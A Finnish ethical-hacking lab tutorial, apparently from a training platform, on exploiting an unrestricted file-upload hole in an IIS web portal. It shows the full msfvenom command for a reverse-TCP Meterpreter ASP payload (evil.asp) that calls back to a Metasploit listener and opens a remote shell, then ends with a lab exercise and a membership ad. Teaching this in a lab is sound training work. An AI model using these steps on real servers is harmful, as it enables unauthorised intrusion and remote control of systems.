RCE (Remote Code Execution) haavoittuvuus portaalissa
Tutustutaan IIS-palvelimella pyörivään web-palveluun tarkemmin. Avaa Firefox-selain ja mene osoitteeseen http://10.0.0.3 (tai http://iis1.evilcorp.local).

Kokeile ladata tiedosto portaaliin.


Klikkaa sitten "Tarkista ladattuja hakemuksiasi".

Tämä vaikuttaa erittäin turvattomalta, sovellus lataa tiedostot suoraan web-juureen. Kokeillaan ladata ASP-tiedosto joka suorittaa koodia.
<%
Response.Write("Hello World!")
%>



Avaa tiedosto selaimessa ja vahvista haavoittuvuus - ASP-koodi suoritetaan palvelimella.

Metasploit kuuntelija
Käynnistä nyt Metasploit-konsoli (msfconsole) ja ota käyttöön yleinen kuuntelija exploit/multi/handler. Aseta payloadiksi windows/meterpreter/reverse_tcp, lhostiksi 10.0.0.100 (Kali koneesi IP) sekä lportiksi vaikka 1234 (millä portilla kuuntelijasi odottaa yhteyksiä).
Jos et ole vielä tehnyt Hakatemian Metasploit-kurssia (voi olla ettei sitä ole julkaistu vielä kun luet tätä), niin tässä lyhyesti mitä ollaan tekemässä:
- Metasploit on avoimen lähdekoodin murtotestaustyökalu.
- Meterpreter on metasploitin monikäyttöinen agentti joka ajetaan kohdekoneella.
- exploit/multi/handler on Metasploitin moduuli joka ottaa vastaan yhteyksiä hyökkäyksen onnistuessa ja avaa esimerkiksi meterpreter yhteyden kohdekoneeseen.
- payload=windows/meterpreter/reverse_tcp tarkoittaa Meterpreter-payloadia Windows-käyttöjärjestelmälle joka tarjoillaan TCP-yhteyden yli.
- lhost=10.0.0.100 määrittää Metasploit kuuntelijan IP-osoitteen.
- lport=1234 määrittää Metasploit kuuntelijan TCP-portin.


msfvenom
Luo nyt msfvenom -työkalulla ASP-tiedosto joka ottaa suoriutuessaan yhteyden Metapsloit-kuuntelijaasi. Ajat vain msfvenom-komennon toisessa terminaalissa ja annat sille täsmälleen samat asetukset kuin Metasploitin kuuntelijassa.
- -p windows/meterpreter/reverse_tcp
- lhost=10.0.0.100
- lport=1234
Lisäksi määrität että luotu ASP-tiedosto tallennetaan tiedostoon evil.asp ja että formatti on ASP.
- -f asp
- -o evil.asp
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.100 lport=1234 -f asp -o evil.asp

Luotu tiedosto on aika veikeän näköinen.

Hyökkäys
Nyt vain uploadaat "evil.asp" tiedoston ja suoritat sen kuten "test.asp" tiedoston aiemmin.
Sinun pitäisi nähdä, että meterpreter-sessio aukeaa kuuntelijassa.

Voit kokeilla vaikka "sysinfo" komennolla tarkastella että minkälaiseen palvelimeen murtauduit.

Tai jos haluat tavallisen Windows komentorivin käyttöösi, aja komento "shell". Pääset takaisin komennolla "exit".

Harjoitukset
Suorita moduulin hyökkäys ja aja sitten meterpreterin komento "getuid". Mitä komento tulostaa?


Valmis ryhtymään eettiseksi hakkeriksi?
Aloita jo tänään.
Hakatemian jäsenenä saat rajoittamattoman pääsyn Hakatemian moduuleihin, harjoituksiin ja työkaluihin, sekä pääset discord-kanavalle jossa voit pyytää apua sekä ohjaajilta että muilta Hakatemian jäseniltä.